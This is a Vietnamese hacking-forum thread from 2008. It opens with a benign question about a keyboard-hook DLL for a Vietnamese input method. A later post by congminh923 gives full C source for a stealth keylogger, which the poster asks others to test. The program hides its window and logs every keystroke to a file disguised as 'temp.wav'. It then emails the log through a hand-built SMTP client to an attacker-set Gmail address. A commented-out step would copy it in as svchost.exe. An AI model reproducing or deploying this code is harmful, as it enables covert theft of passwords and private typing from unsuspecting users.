banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận hệ điều hành Windows van de ve keyboardhook  XML
  [Programming]   van de ve keyboardhook 10/08/2008 01:05:38 (+0700) | #1 | 145911
somnuc
Member

[Minus]    0    [Plus]
Joined: 09/08/2008 10:29:37
Messages: 3
Offline
[Profile] [PM]
Trong đoạn code này khi mình ấn nút bất kỳ trên bàn phìm thì sẽ hiện ra ký tự mà em đã định nghĩa "3713" và nó sẽ xóa ký tự tiếng anh mà mình vừa nhập vào tức là dùng PostMessageW(GetFocus(),WM_CHAR,8,0) để xóa.(ví dụ: trong tiếng việt là aa=â thì nó sẽ xóa đi chữ aa và hiển thị từ â).em đang muốn viết chương trình bộ gõ như unikey ý.nhưng đoạn code này chỉ là cái demo.Nhưng vấn đề là khi em sử dụng trong yahoo hoặc msn,skype.....thì đoạn code PostMessageW(GetFocus(),WM_CHAR,8,0) không có tác dụng.
Mong các pác xem giùm nhé.....
many thanks
Day la doan code cua em :
#include "stdafx.h"
#include "hodll.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif
#pragma data_seg(".SHARDAT")
static HHOOK hkb=NULL;
#pragma data_seg()
HINSTANCE hins;

BEGIN_MESSAGE_MAP(CHodllApp, CWinApp)

END_MESSAGE_MAP()

LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam)
{

char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{

PostMessageW(GetFocus(),WM_CHAR,8,0);
if(true)
{
PostMessageW(GetFocus(),WM_CHAR,3713,0);
}
}

}

LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );

return RetVal;

}
BOOL __declspec(dllexport)__stdcall installhook()
{

hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);

return TRUE;
}
BOOL __declspec(dllexport) UnHook()
{
BOOL unhooked = UnhookWindowsHookEx(hkb);
return unhooked;
}

BOOL CHodllApp::InitInstance ()
{

AFX_MANAGE_STATE(AfxGetStaticModuleState());
hins=AfxGetInstanceHandle();
return TRUE;
}
BOOL CHodllApp::ExitInstance ()
{
return TRUE;
}

CHodllApp::CHodllApp()
{

}

CHodllApp theApp;
[Up] [Print Copy]
  [Question]   Re: van de ve keyboardhook 10/08/2008 01:25:00 (+0700) | #2 | 145913
mr.khungxox
Member

[Minus]    0    [Plus]
Joined: 23/06/2007 13:43:16
Messages: 117
Offline
[Profile] [PM]
Bạn đánh tiếng việt không dấu lại trình bày như thế này làm mình hơi khó hiểu .Theo mình hiểu thì như thế này phải không :
+Bạn muốn tạo ra một dll theo dõi bàn phím khi nào bạn nhấn 1 phím trên bàn phím thì nó xuất hiện ra (Xuất hiện ra đâu ? MessageBox hả ?) và xóa đi kí tự đó (chỉ một kí tự bạn vừa ấn hay tất cả những kí tự trùng với kí tự bạn vừa ấn ? ).

Bạn thử xem lại giá trị hIns xem sao ?
Code:
BOOL CHodllApp::InitInstance ()
{

AFX_MANAGE_STATE(AfxGetStaticModuleState());
hins=AfxGetInstanceHandle();
return TRUE;
}
[Up] [Print Copy]
  [Question]   Re: van de ve keyboardhook 10/08/2008 02:50:35 (+0700) | #3 | 145917
somnuc
Member

[Minus]    0    [Plus]
Joined: 09/08/2008 10:29:37
Messages: 3
Offline
[Profile] [PM]
thanks
[Up] [Print Copy]
  [Question]   Re: van de ve keyboardhook 10/08/2008 03:01:21 (+0700) | #4 | 145920
mfeng
Researcher

Joined: 29/10/2004 15:16:29
Messages: 243
Offline
[Profile] [PM]
@somnuc: Bạn phải sửa lại bài viết đầu tiên thành tiếng Việt có dấu. Và không được post cùng một nội dung vào nhiều mục thảo luận khác nhau.
[Up] [Print Copy]
  [Question]   Re: van de ve keyboardhook 10/08/2008 03:47:52 (+0700) | #5 | 145924
congminh923
Member

[Minus]    0    [Plus]
Joined: 26/02/2008 22:35:52
Messages: 278
Location:
Offline
[Profile] [PM] [Yahoo!]
Bác nào rãnh test giùm em code này xem. smilie Có phải code này quá tệ không? smilie

Code:
/*
Put this command: -lws2_32
to Tools->Compiler Options under the section on compile flags,
if have any problem with compile
*/

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you dont have free smtp server, use google:) */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "TYPE_USER@gmail.com"
#define cemailfrom "TYPE_USER@gmail.com"
#define LogLength 100
#define FileName "temp.wav"
#define SMTPLog "templ.wav"
#define cemailsubject "Logged"

int test_key(void);
int main(void)
{
  //Uncomment the lines below to put the keylogger in stealh mode.
  HWND stealth; /*creating stealth */
  AllocConsole();
  stealth=FindWindowA("ConsoleWindowClass",NULL);
  ShowWindow(stealth,0);
 
  {FILE *file;
  file=fopen(FileName,"a+");
  time_t theTime=time(0);
  fputs("\nStarted logging: ", file);
  fputs(ctime(&theTime),file);
  fclose(file);
  }
 
  /* if (test==2)
   {//the path in which the file needs to be
   char *path="c:\\%windir%\\svchost.exe";
   create=create_key(path);         
   } */
 
  int t=get_keys();   
  return t;
} 

int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


          short character;
            while(1)
            {
                   sleep(10);/*to prevent 100% cpu usage*/
                   for(character=8;character<=222;character++)
                   {
                       if(GetAsyncKeyState(character)==-32767)
                       { 
                           FILE *file;
                           file=fopen(FileName,"a+");
                           if(file==NULL)
                           {
                                   return 1;
                           }           
                           if(file!=NULL)
                           {       
                                   if((character>=39)&&(character<=64))
                                   {
                                         fputc(character,file);
                                         fclose(file);
                                         break;
                                   }       
                                   else if((character>64)&&(character<91))
                                   {
                                         character+=32;
                                         fputc(character,file);
                                         fclose(file);
                                         break;
                                   }
                                   else
                                   {
                                       switch(character)
                                       {
                                             case VK_SPACE:
                                             fputc(' ',file);
                                             fclose(file);
                                             break;   
                                             case VK_SHIFT:
                                             fputs("\r\n[SHIFT]\r\n",file);
                                             fclose(file);
                                             break;                                           
                                             case VK_RETURN:
                                             fputs("\r\n[ENTER]\r\n",file);
                                             fclose(file);
                                             break;
                                             case VK_BACK:
                                             fputs("\r\n[BACKSPACE]\r\n",file);
                                             fclose(file);
                                             break;
                                             case VK_TAB:
                                             fputs("\r\n[TAB]\r\n",file);
                                             fclose(file);
                                             break;
                                             case VK_CONTROL:
                                             fputs("\r\n[CTRL]\r\n",file);
                                             fclose(file);
                                             break;   
                                             case VK_DELETE:
                                             fputs("\r\n[DEL]\r\n",file);
                                             fclose(file);
                                             break;
                                             case VK_OEM_1:
                                             fputs("\r\n[;:]\r\n",file);
                                             fclose(file);
                                             break;
                                             case VK_OEM_2:
                                             fputs("\r\n[/?]\r\n",file);
                                             fclose(file);
                                             break;
                                             case VK_OEM_3:
                                             fputs("\r\n[`~]\r\n",file);
                                             fclose(file);
                                             break;
                                             case VK_OEM_4:
                                             fputs("\r\n[ [{ ]\r\n",file);
                                             fclose(file);
                                             break;
                                             case VK_OEM_5:
                                             fputs("\r\n[\\|]\r\n",file);
                                             fclose(file);
                                             break;                               
                                             case VK_OEM_6:
                                             fputs("\r\n[ ]} ]\r\n",file);
                                             fclose(file);
                                             break;
                                             case VK_OEM_7:
                                             fputs("\r\n['\"]\r\n",file);
                                             fclose(file);
                                             break;
                                             case 187:
                                             fputc('+',file);
                                             fclose(file);
                                             break;
                                             case 188:
                                             fputc(',',file);
                                             fclose(file);
                                             break;
                                             case 189:
                                             fputc('-',file);
                                             fclose(file);
                                             break;
                                             case 190:
                                             fputc('.',file);
                                             fclose(file);
                                             break;
                                             case VK_NUMPAD0:
                                             fputc('0',file);
                                             fclose(file);
                                             break;
                                             case VK_NUMPAD1:
                                             fputc('1',file);
                                             fclose(file);
                                             break;
                                             case VK_NUMPAD2:
                                             fputc('2',file);
                                             fclose(file);
                                             break;
                                             case VK_NUMPAD3:
                                             fputc('3',file);
                                             fclose(file);
                                             break;
                                             case VK_NUMPAD4:
                                             fputc('4',file);
                                             fclose(file);
                                             break;
                                             case VK_NUMPAD5:
                                             fputc('5',file);
                                             fclose(file);
                                             break;
                                             case VK_NUMPAD6:
                                             fputc('6',file);
                                             fclose(file);
                                             break;
                                             case VK_NUMPAD7:
                                             fputc('7',file);
                                             fclose(file);
                                             break;
                                             case VK_NUMPAD8:
                                             fputc('8',file);
                                             fclose(file);
                                             break;
                                             case VK_NUMPAD9:
                                             fputc('9',file);
                                             fclose(file);
                                             break;
                                             case VK_CAPITAL:
                                             fputs("\r\n[CAPS LOCK]\r\n",file);
                                             fclose(file);
                                             break;
                                             default:
                                             fclose(file);
                                             break;
                                      }       
                                 }   
                            }       
                  }   
              }                 
          FILE *file;
          file=fopen(FileName,"rb");
          fseek(file,0,SEEK_END); //go to end
          len=ftell(file); //get position at end (length)
          if(len>=LogLength) {
            fseek(file,0,SEEK_SET);//go to beg.
            buf=(char *)malloc(len);//malloc buffer
            freadindex=fread(buf,1,len,file);//read into buffer
            buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
            MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
            fclose(file);
            file=fopen(FileName,"w");                       
            }
         
           fclose(file);
           //free (buf);
               
          }
          return EXIT_SUCCESS;                           
}

int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
   SOCKET sockfd;
   WSADATA wsaData;
   FILE *smtpfile;
   
   #define bufsize 300
   int bytes_sent;   /* Sock FD */
   int err;
   struct hostent *host;   /* info from gethostbyname */
   struct sockaddr_in dest_addr;   /* Host Address */
   char line[1000];
   char *Rec_Buf = (char*) malloc(bufsize+1);
   smtpfile=fopen(SMTPLog,"a+");
   if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
     fputs("WSAStartup failed",smtpfile);
     WSACleanup();
     return -1;
   }
   if ( (host=gethostbyname(mailserver)) == NULL) {
      perror("gethostbyname");
      exit(1);
   }
   memset(&dest_addr,0,sizeof(dest_addr));
   memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

    /* Prepare dest_addr */
    dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
    dest_addr.sin_port= htons(25); /* PORT defined above */

    /* Get socket */

    if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
       perror("socket");
       exit(1);
       }
    /* Connect !*/
    fputs("Connecting....\n",smtpfile);

   if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
       perror("connect");
       exit(1);
       }
    sleep(waittime);
    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    fputs(Rec_Buf,smtpfile);
    strcpy(line,"helo me.somepalace.com\n");
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);
    sleep(waittime);
    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    fputs(Rec_Buf,smtpfile);
    strcpy(line,"MAIL FROM:<");
    strncat(line,emailfrom,strlen(emailfrom));
    strncat(line,">\n",3);
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);
    sleep(waittime);
    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    fputs(Rec_Buf,smtpfile);
    strcpy(line,"RCPT TO:<");
    strncat(line,emailto,strlen(emailto));
    strncat(line,">\n",3);
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);
    sleep(waittime);
    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    fputs(Rec_Buf,smtpfile);
    strcpy(line,"DATA\n");
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);
    sleep(waittime);
    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    fputs(Rec_Buf,smtpfile);
    sleep(waittime);
    strcpy(line,"To:");
    strcat(line,emailto);
    strcat(line,"\n");
    strcat(line,"From:");
    strcat(line,emailfrom);
    strcat(line,"\n");
    strcat(line,"Subject:");
    strcat(line,emailsubject);
    strcat(line,"\n");
    strcat(line,emailmessage);
    strcat(line,"\r\n.\r\n");
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);
    sleep(waittime);
    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    fputs(Rec_Buf,smtpfile);
    strcpy(line,"quit\n");
    fputs(line,smtpfile);
    bytes_sent=send(sockfd,line,strlen(line),0);
    sleep(waittime);
    err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
    fputs(Rec_Buf,smtpfile);
    fclose(smtpfile);                         
    #ifdef WIN32
    closesocket(sockfd);
    WSACleanup();
    #else
    close(sockfd);
    #endif
}
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|